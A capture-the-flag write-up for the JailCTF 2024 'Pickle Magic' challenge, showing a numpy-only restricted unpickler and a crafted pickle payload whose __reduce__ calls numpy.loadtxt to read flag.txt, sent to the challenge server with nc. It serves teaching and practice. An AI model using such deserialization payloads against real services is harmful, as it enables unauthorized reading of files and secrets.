MisTrale Write UpMisTrale Write Up
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
    • ๐Ÿ Introduction
    • ๐ŸŒŸ Acknowledgments
  • ๐Ÿ’€ Root-Me 20k

    • ๐Ÿ’€ Root Me - 20k
    • โค๏ธ Bash - Love Me
    • ๐Ÿ›‘ Python - Not This Way
    • ๐Ÿ“š NodeJs - Never Trust Node One
  • โ›“๏ธ JailCTF-2024

    • ๐Ÿ‘ฎ JailCTF - 2024
    • ๐Ÿ”  !Alphabeat
    • ๐Ÿง‘โ€๐Ÿฆฏ Blind Calc
    • ๐ŸŽ‰ Parity 1
    • ๐ŸŽˆ Parity 2
    • ๐Ÿช„ Pickle Magic
    • โ˜Ž๏ธ Get and Call
    • โ‰๏ธ No Sense
    • ๐ŸŸฉ Filter'd
    • ๐Ÿง SUS Calculator
  • ๐Ÿ•น๏ธ TCP1P

    • ๐ŸŽฎ Another Discord
  • ๐Ÿงฎ GCC-2024

    • ๐Ÿ˜… soBusy
  • ๐ŸŒ› Midnight

    • ๐ŸŒƒ Midnight
    • โœจ Privesc - 1
    • ๐Ÿ”‘ Privesc - 2
    • ๐Ÿ‘‘ Privesc - 3
    • ๐ŸŽญ My Face

๐Ÿช„ Pickle Magic

๐Ÿ‘€ Before you start

You can donate to me via Buy Me a Coffee or follow me on Github

๐Ÿ“– Challenge Statement

#!/usr/local/bin/python3
# modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
import pickle, numpy, io
from pickle import _getattribute

class RestrictedUnpickler(pickle.Unpickler): 
     def find_class(self, module, name): 
        if module == 'numpy' and '__' not in name:
            return _getattribute(numpy, name)[0]
        raise pickle.UnpicklingError('bad')

data = bytes.fromhex(input("(hex)> "))
print(RestrictedUnpickler(io.BytesIO(data)).load())

๐Ÿšฉ Getting the Flag

We have a small script that uses pickle with a custom unpickler

Letโ€™s analyze this script step by step:

  • We are dealing with pickle and a custom unpickler.
  • For our object to be deserialized, it must be from the numpy library and cannot have __ in its name.

It's not too complicated; we just need to create a numpy object and serialize it. But how do we read a file?

After searching, we found that numpy has a loadtxt function, which allows us to read a file. This means we can use it to read the flag.txt file.

Here's the script to generate the serialized object:

class RCE:
    def __reduce__(self):
        return __import__("numpy").loadtxt, ("flag.txt",)

print(hex(int.from_bytes(__import__("pickle").dumps(RCE())))[2:])

We run this script, and it gives us our hex dump:

$ python3 RCE.py
80049524000000000000008c056e756d7079948c076c6f61647478749493948c08666c61672e74787494859452942e

Next, we connect to the server and send our hex dump:

$ python3 RCE.py | nc challs2.pyjail.club 7992
(hex)> 80049524000000000000008c056e756d7079948c076c6f61647478749493948c08666c61672e74787494859452942e
ValueError: could not convert string to float: 'jail{idk_about_mag1c_but_this_is_definitely_pickled}'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/app/run", line 12, in <module>
    print(RestrictedUnpickler(io.BytesIO(data)).load())
  File "/usr/local/lib/python3.10/site-packages/numpy/lib/_npyio_impl.py", line 1397, in loadtxt
    arr = _read(fname, dtype=dtype, comment=comment, delimiter=delimiter,
  File "/usr/local/lib/python3.10/site-packages/numpy/lib/_npyio_impl.py", line 1036, in _read
    arr = _load_from_filelike(
ValueError: could not convert string 'jail{idk_about_mag1c_but_this_is_definitely_pickled}' to float64 at row 0, column 1.

๐Ÿ’– Support

๐Ÿ‘€ Before you leave

You can donate to me via Buy Me a Coffee or follow me on Github

Prev
๐ŸŽˆ Parity 2
Next
โ˜Ž๏ธ Get and Call